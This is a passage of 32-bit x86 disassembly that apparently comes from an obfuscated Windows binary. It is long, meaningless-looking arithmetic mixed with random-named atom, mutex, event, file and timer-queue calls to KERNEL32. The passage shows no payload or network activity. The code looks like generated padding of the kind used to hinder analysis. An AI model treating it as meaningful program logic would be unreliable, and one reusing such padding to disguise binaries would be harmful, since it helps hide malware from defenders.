mov ecx, dword [ebp - 0x4ce4]
mov dl, byte [ecx]
mov byte [ebp - 0x336], dl
mov eax, dword [0x100b9bac]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x5110]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [0x100bbe64]
mov word [edx], cx
movzx eax, byte [ebp - 0x308]
movzx ecx, byte [ebp - 0x8d]
xor eax, ecx
mov edx, dword [ebp - 0x3524]
mov byte [edx], al
push 1
lea eax, [ebp - 0x983c]
push eax
mov ecx, dword [ebp - 0x9918]
push ecx
mov edx, dword [ebp - 0x991c]
push edx
mov eax, dword [0x100babac]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc084], eax
mov ecx, dword [0x100bae8c]
mov edx, dword [ebp - 0x4f84]
add edx, dword [ecx]
mov dword [ebp - 0x2f94], edx
lea eax, [ebp - 0x264]
mov dword [0x100bc088], eax
movzx ecx, word [0x100ba38c]
movzx edx, word [ebp - 0x674]
and ecx, edx
mov word [ebp - 0xf9c], cx
lea eax, [ebp - 0x61c]
mov dword [ebp - 0x5560], eax
mov ecx, dword [ebp - 0x3e40]
mov edx, dword [ebp - 0x3e04]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [0x100b99e4]
mov dword [eax], edx
mov ecx, dword [0x100bb5f0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x553c]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4780]
mov word [ecx], dx
mov edx, dword [0x100b9760]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4fe8], eax
lea eax, [ebp - 0x2bf]
mov dword [ebp - 0x5564], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc08c], eax
lea ecx, [ebp - 0x5318]
mov dword [0x100bc090], ecx
mov edx, dword [ebp - 0x3db0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x178]
or eax, ecx
mov byte [ebp - 0x1d9], al
movzx edx, word [ebp - 0x1784]
movzx eax, word [ebp - 0xc6c]
xor edx, eax
mov ecx, dword [ebp - 0x4444]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5568], eax
lea edx, [ebp - 0x4f4]
mov dword [0x100bc094], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc098], eax
movsx eax, byte [ebp - 0x2b8]
mov ecx, dword [ebp - 0x4e80]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3dcc]
mov byte [ecx], al
mov edx, dword [0x100ba484]
and edx, dword [0x100bb0c4]
mov eax, dword [0x100bbf44]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4388]
mov dx, word [ecx]
mov word [ebp - 0x1930], dx
mov al, byte [ebp - 0x276]
mov byte [ebp - 0x337], al
push 0xac
push 0
push 0x100bb8b0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5288], eax
mov ecx, dword [ebp - 0x2d94]
mov dword [0x100bc09c], ecx
movzx edx, word [ebp - 0x1784]
mov eax, dword [ebp - 0x4164]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x8d0], dx
mov ecx, dword [ebp - 0x4e44]
mov edx, dword [ecx]
sub edx, dword [0x100b73a4]
mov dword [ebp - 0x3fb4], edx
mov eax, dword [ebp - 0x3a34]
movsx edx, word [eax]
mov eax, dword [ebp - 0x3be8]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100bbd74]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b94d0], eax
lea edx, [ebp - 0x3080]
mov dword [ebp - 0x556c], edx
mov eax, dword [ebp - 0x405c]
movzx ecx, byte [eax]
mov edx, dword [0x100baafc]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x2d4], cl
movsx ecx, byte [ebp - 0x92]
mov edx, dword [ebp - 0x3978]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x100ba5e4]
mov byte [edx], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5570], eax
push 2
push 0x100b9d20
mov eax, dword [ebp - 0x9860]
push eax
mov ecx, dword [ebp - 0x9864]
push ecx
mov edx, dword [ebp - 0x466c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc0a0], eax
lea eax, [ebp - 0x2c9]
mov dword [ebp - 0x5574], eax
mov ecx, dword [ebp - 0x43ac]
mov edx, dword [ebp - 0x3f6c]
and edx, dword [ecx]
mov dword [ebp - 0x2c08], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5578], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb778], eax
movzx eax, byte [0x100b71ba]
mov ecx, dword [ebp - 0x4434]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7382], al
movsx edx, word [ebp - 0x5ac]
mov eax, dword [ebp - 0x5478]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3488]
mov word [eax], dx
push str.JuHwXL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc0a4], ax
mov ecx, dword [ebp - 0x40ec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4f44]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3b3c]
mov word [ecx], dx
lea edx, [ebp - 0x3134]
mov dword [0x100bc0a8], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x557c], eax
mov eax, dword [0x100ba1cc]
mov cl, byte [eax]
mov byte [ebp - 0x338], cl
mov edx, dword [0x100ba658]
mov eax, dword [edx]
add eax, dword [ebp - 0x2f30]
mov dword [ebp - 0x2c58], eax
movzx ecx, byte [ebp - 0x2d3]
mov edx, dword [0x100ba2c4]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x100b729a], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3f68], eax
lea ecx, [ebp - 0x13f8]
mov dword [ebp - 0x5580], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b94d0], eax
mov edx, dword [ebp - 0x3af8]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1460]
or eax, ecx
mov word [ebp - 0x10f8], ax
push str.2U_HJBtu_Sits
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc0ac], ax
movzx edx, word [ebp - 0x17c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc0b0], ax
mov dword [0x100bc0b4], 0x100b714b
mov eax, dword [ebp - 0x4a84]
movzx edx, word [eax]
mov eax, dword [ebp - 0x4e34]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4170]
mov word [ecx], dx
lea edx, [ebp - 0x3acc]
mov dword [ebp - 0x5584], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5588], eax
mov eax, dword [ebp - 0x2dc0]
xor eax, dword [ebp - 0x2e58]
mov ecx, dword [0x100bae8c]
mov dword [ecx], eax
push 0x64d
push 0x29d0
push 0x3d2a
push 0x33b6
mov edx, dword [0x100b9720]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x464c], eax
mov eax, dword [ebp - 0x4260]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x58]
add ecx, edx
mov eax, dword [ebp - 0x40e8]
mov byte [eax], cl
mov ecx, dword [0x100bb3a0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x5cc]
and edx, eax
mov word [ebp - 0xcb4], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x558c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc0b8], eax
lea ecx, [ebp - 0xb638]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dl, byte [0x100b801a]
mov byte [0x100b86eb], dl
movzx eax, word [0x100b95a0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1864], ax
mov ecx, dword [ebp - 0x3950]
mov dx, word [ecx]
mov word [ebp - 0x1934], dx
push str.KX_NTFp5A
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc0bc], ax
mov eax, dword [ebp - 0x3d0c]
mov ecx, dword [eax]
sub ecx, dword [0x100bb1ec]
mov dword [ebp - 0x3160], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba460], eax
push 0x14a6
mov edx, dword [ebp - 0x4070]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bc0c0], eax
mov eax, dword [ebp - 0x4d44]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2b74]
shl edx, cl
mov eax, dword [0x100b9748]
mov dword [eax], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5590], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5594], eax
push 0x100bac18
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push str.dbmi_MomU_OZvGc_vKbU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13d8], ax
mov dword [ebp - 0x5598], 0x100b732a
push str.QqO_LIDbKL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc0c4], ax
mov ecx, dword [0x100bb98c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x44b8]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x1f8], dl
movzx edx, word [ebp - 0x1564]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbc1c], ax
mov eax, dword [ebp - 0x3b0c]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x177c]
sar edx, cl
mov word [0x100bab04], dx
mov eax, dword [ebp - 0x4f68]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5198]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x614], cx
mov ecx, dword [ebp - 0x47f4]
mov edx, dword [ecx]
mov dword [ebp - 0x559c], edx
movsx eax, byte [ebp - 0x315]
mov ecx, dword [ebp - 0x41f4]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x100b7383], al
mov eax, dword [ebp - 0x3ca0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3524]
mov byte [edx], cl
push 0
push 0x40
push 4
push 0
push 8
push 0x80000000
push str.Mhur62PXtukCtNHtjl7c5EkLhR
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc0c8], eax
push str.E6w_SXo5vk1ROP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1938], ax
mov eax, dword [ebp - 0x51e8]
mov ecx, dword [0x100bbe5c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x3654], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x55a0], eax
mov eax, dword [ebp - 0x3950]
mov cx, word [eax]
mov word [0x100bc0cc], cx
mov edx, dword [0x100b9734]
movsx eax, word [edx]
cdq
mov ecx, 0x7c1
idiv ecx
mov word [ebp - 0x6e0], ax
mov dword [ebp - 0x55a4], 0x100bb954
movsx edx, byte [ebp - 0x65]
movsx eax, byte [ebp - 0x7a]
xor edx, eax
mov byte [0x100b717a], dl
mov ecx, dword [0x100bb598]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4424]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x37c4]
mov byte [eax], dl
push 1
lea ecx, [ebp - 0x98cc]
push ecx
mov edx, dword [0x100ba654]
push edx
mov eax, dword [0x100ba650]
push eax
mov ecx, dword [0x100b9b6c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x42e4], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc0d0], eax
lea edx, [ebp - 0x1008]
mov dword [ebp - 0x55a8], edx
mov eax, dword [ebp - 0x3dec]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xd28]
sar edx, cl
mov word [0x100b747c], dx
push 0
push 0x80
push 4
push 0
push 1
push 0xc0000000
push str.oEZWUn_fjzacBLUBnZmMSeGJbpB7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc0d4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d88], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba544], eax
mov eax, dword [ebp - 0x3e40]
mov ecx, dword [ebp - 0x4d44]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x50f8]
mov dword [eax], edx
mov cx, word [ebp - 0x1654]
mov word [ebp - 0x193c], cx
mov edx, dword [ebp - 0x5170]
mov eax, dword [ebp - 0x37d0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [0x100b74f4], ecx
lea edx, [ebp - 0xb65c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [0x100b8083]
mov ecx, dword [0x100b9850]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x1c], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc0d8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x41e0], eax
lea eax, [ebp - 0x63]
mov dword [0x100bc0dc], eax
lea ecx, [ebp - 0x1904]
mov dword [ebp - 0x55ac], ecx
mov ecx, dword [ebp - 0x4548]
mov eax, dword [ebp - 0x3838]
cdq
idiv dword [ecx]
mov dword [ebp - 0x4608], eax
push str.XV1hKqQIHFBHa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1940], ax
mov edx, dword [ebp - 0x379c]
mov eax, dword [ebp - 0x4220]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [0x100b9748]
mov dword [edx], ecx
movsx eax, word [ebp - 0x174c]
movsx ecx, word [ebp - 0x52c]
shl eax, cl
mov ecx, dword [ebp - 0x47b8]
mov word [ecx], ax
push 0x100bb71c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x55b0], eax
push 0x100ba0f0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
lea edx, [ebp - 0x987c]
push edx
mov eax, dword [0x100bc0ec]
push eax
mov ecx, dword [0x100bc0e8]
push ecx
mov edx, dword [ebp - 0x380c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc0e0], eax
push str.wnfYTPt_iHMEd_GFS7iz
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1944], ax
push 0x100ba1dc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.QbV9G2
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc0e4], ax
push 0xc9b
push 0
lea eax, [ebp - 0x4f58]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x38ac], eax
movsx ecx, byte [ebp - 0x29b]
movsx edx, byte [ebp - 0x282]
add ecx, edx
mov byte [ebp - 0x8a], cl
mov dword [0x100bc0f0], 0x100b8487
mov al, byte [0x100b85e2]
mov byte [ebp - 0x339], al
mov ecx, dword [0x100b98e0]
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2d48], edx
mov eax, dword [ebp - 0x4fb4]
movzx ecx, word [eax]
movzx edx, word [0x100b98f8]
and ecx, edx
mov word [0x100b7428], cx
mov eax, dword [0x100bb344]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x3c70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x828]
or edx, eax
mov word [ebp - 0x95c], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb868], eax
push 0
push 0x400
push 2
push 0
push 1
push 0x40000000
push str.dcF227qthxgcLUzYOx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x55b4], eax
mov ecx, dword [0x100bb7dc]
mov edx, dword [ebp - 0x446c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2cb8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x440c], eax
mov dword [0x100bc0f4], 0x100b7df6
movsx eax, byte [0x100b71c7]
movsx ecx, byte [ebp - 0x52]
cdq
idiv ecx
mov byte [ebp - 0x2b9], al
mov edx, dword [ebp - 0x3bd4]
mov eax, dword [edx]
mov dword [ebp - 0x55b8], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc0f8], eax
mov ecx, dword [ebp - 0x3c60]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3ae8]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100b9db8]
mov word [eax], dx
movsx edx, word [ebp - 0x89c]
movsx ecx, word [0x100b729c]
shl edx, cl
mov word [ebp - 0xfd8], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x55bc], eax
movzx eax, word [ebp - 0x13f8]
mov ecx, dword [ebp - 0x4834]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x1670], ax
mov eax, dword [ebp - 0x44fc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x2a1]
sar edx, cl
mov byte [0x100b7e3a], dl
lea eax, [ebp - 0x3110]
mov dword [ebp - 0x55c0], eax
movzx ecx, word [0x100ba148]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc0fc], ax
mov edx, dword [ebp - 0x3760]
mov eax, dword [ebp - 0x4a80]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x49e4]
mov dword [ecx], eax
mov dl, byte [ebp - 0x298]
mov byte [0x100b86ee], dl
push 0
push 0x400
push 3
push 0
push 4
push 0xc0000000
push str.BV7QUeoIa8b0r_sCHk75SHYgK
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x55c4], eax
mov eax, dword [0x100bb090]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x39a8]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3540]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b957c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x50bc], eax
mov dword [ebp - 0x55c8], 0x100b7360
movsx eax, byte [0x100b7303]
movsx ecx, byte [ebp - 0x287]
or eax, ecx
mov byte [0x100b739e], al
lea edx, [ebp - 0xed]
mov dword [ebp - 0x55cc], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc100], eax
movzx eax, word [ebp - 0x113c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1948], ax
mov ecx, dword [0x100bb770]
and ecx, dword [0x100bad5c]
mov edx, dword [ebp - 0x3964]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4708]
sub eax, dword [ebp - 0x4bcc]
mov ecx, dword [0x100bb24c]
mov dword [ecx], eax
push 0xec7
push 0x1b35
push 0x39fb
push 0x10c9
mov edx, dword [0x100bb554]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x55d0], eax
mov al, byte [ebp - 0x313]
mov byte [ebp - 0x33a], al
movzx edx, word [ebp - 0x1310]
mov eax, dword [ebp - 0x44cc]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x16ac], dx
lea ecx, [ebp - 0x1688]
mov dword [0x100bc104], ecx
mov edx, dword [ebp - 0x48b0]
movzx eax, byte [edx]
movzx ecx, byte [0x100b80e6]
sar eax, cl
mov byte [ebp - 0x36], al
mov ecx, dword [ebp - 0x4050]
mov eax, dword [ecx]
cdq
mov ecx, 0x644d
idiv ecx
mov dword [ebp - 0x2e04], eax
movzx edx, word [ebp - 0x1404]
mov eax, dword [ebp - 0x4c60]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100ba52c]
mov word [eax], dx
push 0
push 0x400
push 2
push 0
push 1
push 0x40000000
push str.m1AS11Fe700EARHRgHo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc108], eax
push str.T4d_ARTP.vHiH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc10c], ax
lea ecx, [ebp - 0x319c]
mov dword [ebp - 0x55d4], ecx
mov edx, dword [ebp - 0x4540]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2db]
and eax, ecx
mov byte [ebp - 0x26], al
lea edx, [ebp - 0xb170]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4fe0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x5c0]
or ecx, edx
mov eax, dword [0x100b9508]
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5080], eax
mov cl, byte [ebp - 0x217]
mov byte [ebp - 0x33b], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bba18], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x55d8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc110], eax
push 0x100b9a30
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x48b4]
mov eax, dword [0x100badbc]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x36b0], ecx
push 2
lea edx, [ebp - 0x9834]
push edx
mov eax, dword [0x100b9b04]
push eax
mov ecx, dword [0x100b9b00]
push ecx
mov edx, dword [ebp - 0x4be0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x55dc], eax
lea eax, [ebp - 0x2fc]
mov dword [0x100bc114], eax
push 0x100aa5d0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc118], ax
movzx edx, word [ebp - 0x18c4]
movzx ecx, word [ebp - 0x1280]
shl edx, cl
mov word [ebp - 0xc44], dx
mov eax, dword [ebp - 0x54c4]
movzx edx, word [eax]
movzx ecx, word [0x100b7470]
sar edx, cl
mov word [ebp - 0x91c], dx
mov eax, dword [ebp - 0x402c]
mov ecx, dword [0x100bb304]
add ecx, dword [eax]
mov dword [0x100ba614], ecx
lea edx, [ebp - 0x17f4]
mov dword [ebp - 0x55e0], edx
movzx eax, byte [ebp - 0x132]
movzx ecx, byte [ebp - 0x14]
and eax, ecx
mov edx, dword [ebp - 0x3ea8]
mov byte [edx], al
push 0x100bb4dc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.Q2EPeH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x194c], ax
mov eax, dword [ebp - 0x3478]
mov ecx, dword [ebp - 0x31c0]
xor ecx, dword [eax]
mov dword [0x100b74f8], ecx
movsx eax, byte [ebp - 0x104]
mov edx, dword [ebp - 0x447c]
movsx ecx, byte [edx]
cdq
idiv ecx
mov byte [ebp - 0xbc], al
lea edx, [ebp - 0xc08]
mov dword [ebp - 0x55e4], edx
lea eax, [ebp - 0xfb4]
mov dword [0x100bc11c], eax
mov ecx, dword [0x100bb3c4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x69]
xor edx, eax
mov byte [ebp - 0xae], dl
mov ecx, dword [ebp - 0x4d38]
xor ecx, dword [ebp - 0x4654]
mov edx, dword [0x100ba590]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc120], eax
push 0
push 0x100bb030
mov eax, dword [0x100b9814]
push eax
mov ecx, dword [0x100b9810]
push ecx
mov edx, dword [ebp - 0x3e44]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x55e8], eax
mov eax, dword [0x100b9bac]
movsx ecx, word [eax]
movsx edx, word [0x100b749c]
add ecx, edx
mov eax, dword [ebp - 0x391c]
mov word [eax], cx
movzx ecx, byte [ebp - 0x257]
mov edx, dword [ebp - 0x4ad4]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x303], cl
push 0x304c
push 0x1eef
push 0x280e
push 0x3330
mov ecx, dword [ebp - 0x55b4]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bc124], eax
push str.roDu8yW_A9nIrx0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1950], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbf20], eax
mov edx, dword [0x100ba82c]
mov eax, dword [0x100b7364]
or eax, dword [edx]
mov ecx, dword [0x100bbb0c]
mov dword [ecx], eax
lea edx, [ebp - 0x72c]
mov dword [ebp - 0x55ec], edx
mov eax, dword [ebp - 0x2c30]
mov ecx, dword [ebp - 0x3340]
shl eax, cl
mov dword [ebp - 0x5250], eax
mov cx, word [ebp - 0x5e0]
mov word [0x100bc128], cx
movzx edx, word [ebp - 0x12bc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc12c], ax
push 0x12e6
push 0
lea eax, [ebp - 0x3aa4]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100badb8], eax
lea ecx, [ebp - 0x3a2c]
mov dword [ebp - 0x55f0], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x55f4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc130], eax
mov edx, dword [ebp - 0x3640]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [ebp - 0x55f8], 0x100b71ee
mov al, byte [ebp - 0x32f]
mov byte [0x100b86ef], al
mov ecx, dword [ebp - 0x44e8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4f50]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x447c]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc134], eax
mov edx, dword [ebp - 0x37c0]
mov eax, dword [edx]
and eax, dword [ebp - 0x2f40]
mov ecx, dword [ebp - 0x4944]
mov dword [ecx], eax
push str.mwanS_o
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1954], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x53d0], eax
mov edx, dword [ebp - 0x3cf0]
movzx eax, byte [edx]
mov ecx, dword [0x100ba474]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b7f03], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba518], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x55fc], eax
lea eax, [ebp - 0xe8c]
mov dword [ebp - 0x5600], eax
push 0x100aa618
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc138], ax
mov ecx, dword [ebp - 0x3cd4]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x127c]
and edx, eax
mov ecx, dword [ebp - 0x4574]
mov word [ecx], dx
mov edx, dword [ebp - 0x44dc]
mov eax, dword [ebp - 0x377c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [0x100b9bb0]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x50f0], eax
movzx ecx, word [0x100baca0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1958], ax
push 0
push 2
push 0
push 0
push 1
push 0x40000000
push 0x100aa61c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc13c], eax
lea edx, [ebp - 0x11f]
mov dword [ebp - 0x5604], edx
mov eax, dword [ebp - 0x5378]
mov edx, dword [eax]
mov ecx, dword [0x100bba10]
shl edx, cl
mov dword [ebp - 0x2c04], edx
movzx eax, byte [ebp - 0x29f]
movzx ecx, byte [0x100b80e7]
or eax, ecx
mov byte [0x100b739f], al
push str.d_MLkwhH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x195c], ax
mov dword [ebp - 0x5608], 0x100b9924
lea edx, [ebp - 0x77c]
mov dword [ebp - 0x560c], edx
push 0x21d3
mov eax, dword [0x100bae50]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3924], eax
lea ecx, [ebp - 0x1be]
mov dword [0x100bc140], ecx
movzx edx, word [0x100bbd94]
imul eax, edx, 0x1f9
mov ecx, dword [ebp - 0x4ed0]
mov word [ecx], ax
mov edx, dword [ebp - 0x5490]
